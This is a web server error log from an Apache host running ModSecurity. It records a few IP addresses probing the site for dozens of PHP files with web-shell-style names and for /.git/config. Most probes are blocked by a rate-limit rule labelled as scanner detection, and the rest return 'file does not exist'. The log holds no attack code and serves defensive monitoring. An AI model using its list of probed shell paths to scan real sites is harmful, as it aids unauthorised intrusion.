[Fri Apr 24 20:27:40.718843 2026] [:error] [pid 4177:tid 4189] [client 68.221.135.180:28514] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xper1.php"] [unique_id "aethvH2asKnvdrSe0x4BtwAAAYQ"]
[Fri Apr 24 20:27:42.816294 2026] [:error] [pid 17720:tid 17771] [client 68.221.135.180:52133] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xper1.php"] [unique_id "aethvuhlUs6BS3Ng7_WdPAAAANE"]
[Fri Apr 24 20:27:45.581632 2026] [:error] [pid 4177:tid 4186] [client 68.221.135.180:56022] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/t00l.php"] [unique_id "aethwX2asKnvdrSe0x4BwwAAAYE"]
[Fri Apr 24 20:27:56.187278 2026] [:error] [pid 22114:tid 22121] [client 68.221.135.180:9318] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/t00l.php"] [unique_id "aethzIAuWGz3WlMQjofoIAAAAQQ"]
[Fri Apr 24 20:28:00.446018 2026] [:error] [pid 17720:tid 17755] [client 68.221.135.180:6014] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/casp1.php"] [unique_id "aeth0OhlUs6BS3Ng7_WdVAAAAME"]
[Fri Apr 24 20:28:06.726294 2026] [:error] [pid 17720:tid 17766] [client 68.221.135.180:5156] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/casp1.php"] [unique_id "aeth1uhlUs6BS3Ng7_WdZgAAAMw"]
[Fri Apr 24 20:28:07.927427 2026] [:error] [pid 17720:tid 17761] [client 68.221.135.180:9776] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/casp1.php"] [unique_id "aeth1-hlUs6BS3Ng7_WdagAAAMc"]
[Fri Apr 24 20:28:11.974365 2026] [:error] [pid 14531:tid 14542] [client 68.221.135.180:56021] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/casp1.php"] [unique_id "aeth23fLU2gw-6KR-GbD0AAAAUk"]
[Fri Apr 24 20:28:15.710748 2026] [:error] [pid 17721:tid 17784] [client 68.221.135.180:13568] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/acc.php"] [unique_id "aeth3-FXXkLeyDnfk_83FAAAAAM"]
[Fri Apr 24 20:28:17.334883 2026] [:error] [pid 22114:tid 22118] [client 68.221.135.180:7947] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/acc.php"] [unique_id "aeth4YAuWGz3WlMQjofoKwAAAQE"]
[Fri Apr 24 20:28:19.402283 2026] [:error] [pid 17808:tid 17823] [client 68.221.135.180:16846] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/acc.php"] [unique_id "aeth4-arbOEFI8qshvIwyAAAAE0"]
[Fri Apr 24 20:28:21.378552 2026] [:error] [pid 17808:tid 17819] [client 68.221.135.180:16878] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/acc.php"] [unique_id "aeth5earbOEFI8qshvIwzwAAAEk"]
[Fri Apr 24 20:28:22.981621 2026] [:error] [pid 4177:tid 4204] [client 68.221.135.180:19742] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/asasx.php"] [unique_id "aeth5n2asKnvdrSe0x4CCwAAAZM"]
[Fri Apr 24 20:28:26.184518 2026] [:error] [pid 17720:tid 17774] [client 68.221.135.180:10823] File does not exist: /usr/local/apache/htdocs/suspended-page/asasx.php
[Fri Apr 24 20:28:26.455199 2026] [:error] [pid 17720:tid 17775] [client 68.221.135.180:10823] File does not exist: /usr/local/apache/htdocs/suspended-page/xltt.php
[Fri Apr 24 20:28:26.722006 2026] [:error] [pid 17720:tid 17767] [client 68.221.135.180:10823] File does not exist: /usr/local/apache/htdocs/suspended-page/packsin1.php
[Fri Apr 24 20:28:27.003363 2026] [:error] [pid 17720:tid 17765] [client 68.221.135.180:10823] File does not exist: /usr/local/apache/htdocs/suspended-page/press.php
[Fri Apr 24 20:28:27.267410 2026] [:error] [pid 17720:tid 17771] [client 68.221.135.180:10823] File does not exist: /usr/local/apache/htdocs/suspended-page/ws78.php
[Fri Apr 24 20:28:27.535935 2026] [:error] [pid 17720:tid 17754] [client 68.221.135.180:10823] File does not exist: /usr/local/apache/htdocs/suspended-page/motu.php
[Fri Apr 24 20:28:27.800484 2026] [:error] [pid 17720:tid 17773] [client 68.221.135.180:10823] File does not exist: /usr/local/apache/htdocs/suspended-page/hplfuns.php
[Fri Apr 24 20:28:28.074845 2026] [:error] [pid 17720:tid 17761] [client 68.221.135.180:10823] File does not exist: /usr/local/apache/htdocs/suspended-page/xa.php
[Fri Apr 24 20:28:28.343715 2026] [:error] [pid 17720:tid 17768] [client 68.221.135.180:10823] File does not exist: /usr/local/apache/htdocs/suspended-page/8573.php
[Fri Apr 24 20:28:28.613297 2026] [:error] [pid 17720:tid 17778] [client 68.221.135.180:10823] File does not exist: /usr/local/apache/htdocs/suspended-page/sadcut1.php
[Fri Apr 24 20:28:28.893419 2026] [:error] [pid 17720:tid 17776] [client 68.221.135.180:10823] File does not exist: /usr/local/apache/htdocs/suspended-page/666.php
[Fri Apr 24 20:28:29.165926 2026] [:error] [pid 17720:tid 17774] [client 68.221.135.180:10823] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwx1.php"] [unique_id "aeth7ehlUs6BS3Ng7_WdjQAAANQ"]
[Fri Apr 24 20:28:31.753092 2026] [:error] [pid 17720:tid 17759] [client 68.221.135.180:7992] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwx1.php"] [unique_id "aeth7-hlUs6BS3Ng7_WdlgAAAMU"]
[Fri Apr 24 20:28:33.948081 2026] [:error] [pid 17808:tid 17832] [client 68.221.135.180:12647] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwx1.php"] [unique_id "aeth8earbOEFI8qshvIw5gAAAFY"]
[Fri Apr 24 20:28:37.611984 2026] [:error] [pid 17720:tid 17764] [client 68.221.135.180:9294] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwx1.php"] [unique_id "aeth9ehlUs6BS3Ng7_WdoAAAAMo"]
[Fri Apr 24 20:28:40.057723 2026] [:error] [pid 14531:tid 14541] [client 68.221.135.180:50941] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/prosellers8.php"] [unique_id "aeth-HfLU2gw-6KR-GbEAAAAAUg"]
[Fri Apr 24 20:28:48.157899 2026] [:error] [pid 4177:tid 4191] [client 68.221.135.180:7460] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/prosellers8.php"] [unique_id "aetiAH2asKnvdrSe0x4CVQAAAYY"]
[Fri Apr 24 20:28:52.451630 2026] [:error] [pid 14531:tid 14536] [client 68.221.135.180:13586] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/prosellers8.php"] [unique_id "aetiBHfLU2gw-6KR-GbEHAAAAUM"]
[Fri Apr 24 20:28:56.952646 2026] [:error] [pid 17808:tid 17830] [client 68.221.135.180:13570] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/shop.php"] [unique_id "aetiCOarbOEFI8qshvIxDgAAAFQ"]
[Fri Apr 24 20:28:58.631117 2026] [:error] [pid 22114:tid 22117] [client 68.221.135.180:50904] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/shop.php"] [unique_id "aetiCoAuWGz3WlMQjofoRQAAAQA"]
[Fri Apr 24 20:28:59.787283 2026] [:error] [pid 22114:tid 22128] [client 68.221.135.180:14847] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/shop.php"] [unique_id "aetiC4AuWGz3WlMQjofoRwAAAQs"]
[Fri Apr 24 20:29:01.175895 2026] [:error] [pid 17808:tid 17813] [client 68.221.135.180:19765] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/shop.php"] [unique_id "aetiDearbOEFI8qshvIxEgAAAEM"]
[Fri Apr 24 20:29:05.420559 2026] [:error] [pid 4177:tid 4189] [client 68.221.135.180:7430] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ww.php"] [unique_id "aetiEX2asKnvdrSe0x4ChwAAAYQ"]
[Fri Apr 24 20:29:06.697471 2026] [:error] [pid 4177:tid 4188] [client 68.221.135.180:13615] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ww.php"] [unique_id "aetiEn2asKnvdrSe0x4CjwAAAYM"]
[Fri Apr 24 20:29:08.158837 2026] [:error] [pid 17720:tid 17766] [client 68.221.135.180:10873] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ww.php"] [unique_id "aetiFOhlUs6BS3Ng7_Wd5AAAAMw"]
[Fri Apr 24 20:29:12.792795 2026] [:error] [pid 4177:tid 4202] [client 68.221.135.180:10863] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ww.php"] [unique_id "aetiGH2asKnvdrSe0x4CoAAAAZE"]
[Fri Apr 24 20:29:15.026020 2026] [:error] [pid 14531:tid 14537] [client 68.221.135.180:9015] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fsjzs.php"] [unique_id "aetiG3fLU2gw-6KR-GbENwAAAUQ"]
[Fri Apr 24 20:29:16.787187 2026] [:error] [pid 17808:tid 17821] [client 68.221.135.180:14959] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fsjzs.php"] [unique_id "aetiHOarbOEFI8qshvIxJgAAAEs"]
[Fri Apr 24 20:29:18.322895 2026] [:error] [pid 14531:tid 14551] [client 68.221.135.180:49903] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fsjzs.php"] [unique_id "aetiHnfLU2gw-6KR-GbEPgAAAVI"]
[Fri Apr 24 20:29:19.870799 2026] [:error] [pid 4177:tid 4197] [client 68.221.135.180:18827] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fsjzs.php"] [unique_id "aetiH32asKnvdrSe0x4CqAAAAYw"]
[Fri Apr 24 20:29:20.930541 2026] [:error] [pid 4177:tid 4200] [client 68.221.135.180:14952] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cwclass.php"] [unique_id "aetiIH2asKnvdrSe0x4CqwAAAY8"]
[Fri Apr 24 20:29:24.473889 2026] [:error] [pid 4177:tid 4197] [client 68.221.135.180:20171] [client 68.221.135.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cwclass.php"] [unique_id "aetiJH2asKnvdrSe0x4CzwAAAYw"]
[Fri Apr 24 20:29:30.076849 2026] [:error] [pid 17721:tid 17781] [client 68.221.135.180:17802] File does not exist: /usr/local/apache/htdocs/suspended-page/cwclass.php
[Fri Apr 24 20:29:30.323953 2026] [:error] [pid 17721:tid 17794] [client 68.221.135.180:17802] File does not exist: /usr/local/apache/htdocs/suspended-page/edit-tags.php
[Fri Apr 24 20:29:30.568214 2026] [:error] [pid 17721:tid 17787] [client 68.221.135.180:17802] File does not exist: /usr/local/apache/htdocs/suspended-page/atomlib.php
[Fri Apr 24 20:29:30.812184 2026] [:error] [pid 17721:tid 17790] [client 68.221.135.180:17802] File does not exist: /usr/local/apache/htdocs/suspended-page/zoper1.php
[Fri Apr 24 20:29:31.066131 2026] [:error] [pid 17721:tid 17798] [client 68.221.135.180:17802] File does not exist: /usr/local/apache/htdocs/suspended-page/a5.php
[Fri Apr 24 20:29:31.312259 2026] [:error] [pid 17721:tid 17788] [client 68.221.135.180:17802] File does not exist: /usr/local/apache/htdocs/suspended-page/ai.php
[Fri Apr 24 20:29:31.597751 2026] [:error] [pid 17721:tid 17804] [client 68.221.135.180:17802] File does not exist: /usr/local/apache/htdocs/suspended-page/jga.php
[Fri Apr 24 20:29:31.849469 2026] [:error] [pid 17721:tid 17784] [client 68.221.135.180:17802] File does not exist: /usr/local/apache/htdocs/suspended-page/term.php
[Fri Apr 24 20:29:32.093957 2026] [:error] [pid 17721:tid 17789] [client 68.221.135.180:17802] File does not exist: /usr/local/apache/htdocs/suspended-page/gk.php
[Fri Apr 24 20:29:32.343726 2026] [:error] [pid 17721:tid 17785] [client 68.221.135.180:17802] File does not exist: /usr/local/apache/htdocs/suspended-page/xmu.php
[Fri Apr 24 20:29:32.625398 2026] [:error] [pid 17721:tid 17799] [client 68.221.135.180:17802] File does not exist: /usr/local/apache/htdocs/suspended-page/sd.php
[Fri Apr 24 21:05:55.846325 2026] [:error] [pid 17808:tid 17834] [client 153.92.1.136:45202] [client 153.92.1.136] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "aetqs-arbOEFI8qshvI80AAAAFg"]
[Fri Apr 24 21:15:07.290499 2026] [:error] [pid 17808:tid 17827] [client 4.235.74.173:32122] File does not exist: /usr/local/apache/htdocs/suspended-page/G-In.php
[Fri Apr 24 21:15:07.565544 2026] [:error] [pid 17808:tid 17810] [client 4.235.74.173:32122] File does not exist: /usr/local/apache/htdocs/suspended-page/ox.php
[Fri Apr 24 21:15:07.843713 2026] [:error] [pid 17808:tid 17832] [client 4.235.74.173:32122] File does not exist: /usr/local/apache/htdocs/suspended-page/htto.php
[Fri Apr 24 21:15:08.516041 2026] [:error] [pid 17808:tid 17832] [client 4.235.74.173:32122] File does not exist: /usr/local/apache/htdocs/suspended-page/gpt-sh.php
[Fri Apr 24 21:15:08.794657 2026] [:error] [pid 17808:tid 17821] [client 4.235.74.173:32122] File does not exist: /usr/local/apache/htdocs/suspended-page/jp.php
[Fri Apr 24 21:15:09.057215 2026] [:error] [pid 17808:tid 17811] [client 4.235.74.173:32122] File does not exist: /usr/local/apache/htdocs/suspended-page/aevly.php
[Fri Apr 24 21:15:09.328985 2026] [:error] [pid 17808:tid 17826] [client 4.235.74.173:32122] File does not exist: /usr/local/apache/htdocs/suspended-page/ta0ol.php
[Fri Apr 24 21:15:09.608093 2026] [:error] [pid 17808:tid 17812] [client 4.235.74.173:32122] File does not exist: /usr/local/apache/htdocs/suspended-page/aligk.php
[Fri Apr 24 21:15:09.872674 2026] [:error] [pid 17808:tid 17819] [client 4.235.74.173:32122] File does not exist: /usr/local/apache/htdocs/suspended-page/users.php
[Fri Apr 24 21:15:10.405119 2026] [:error] [pid 17808:tid 17824] [client 4.235.74.173:32122] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/elp.php"] [unique_id "aets3uarbOEFI8qshvJAvwAAAE4"]
[Fri Apr 24 21:15:12.527964 2026] [:error] [pid 4177:tid 4209] [client 4.235.74.173:22484] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/elp.php"] [unique_id "aets4H2asKnvdrSe0x4fXQAAAZg"]
[Fri Apr 24 21:15:16.477288 2026] [:error] [pid 17721:tid 17786] [client 4.235.74.173:63460] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/elp.php"] [unique_id "aets5OFXXkLeyDnfk_9CFQAAAAU"]
[Fri Apr 24 21:15:17.793245 2026] [:error] [pid 4177:tid 4186] [client 4.235.74.173:35359] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/elp.php"] [unique_id "aets5X2asKnvdrSe0x4fdQAAAYE"]
[Fri Apr 24 21:15:19.811730 2026] [:error] [pid 4177:tid 4204] [client 4.235.74.173:24258] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zc-243.php"] [unique_id "aets532asKnvdrSe0x4fgAAAAZM"]
[Fri Apr 24 21:15:23.303880 2026] [:error] [pid 17719:tid 17747] [client 4.235.74.173:33839] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zc-243.php"] [unique_id "aets68TZ9gzEyL1BkPqwsQAAAJQ"]
[Fri Apr 24 21:15:28.592867 2026] [:error] [pid 4177:tid 4193] [client 4.235.74.173:64082] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zc-243.php"] [unique_id "aets8H2asKnvdrSe0x4fuwAAAYg"]
[Fri Apr 24 21:15:30.136867 2026] [:error] [pid 22114:tid 22136] [client 4.235.74.173:19850] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zc-243.php"] [unique_id "aets8oAuWGz3WlMQjofwtAAAARM"]
[Fri Apr 24 21:15:32.700532 2026] [:error] [pid 17720:tid 17775] [client 4.235.74.173:63432] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bkyac.php"] [unique_id "aets9OhlUs6BS3Ng7_WwWQAAANU"]
[Fri Apr 24 21:15:33.907423 2026] [:error] [pid 4177:tid 4201] [client 4.235.74.173:36945] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bkyac.php"] [unique_id "aets9X2asKnvdrSe0x4f2AAAAZA"]
[Fri Apr 24 21:15:35.331335 2026] [:error] [pid 17721:tid 17797] [client 4.235.74.173:51879] [client 4.235.74.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bkyac.php"] [unique_id "aets9-FXXkLeyDnfk_9CKQAAABA"]
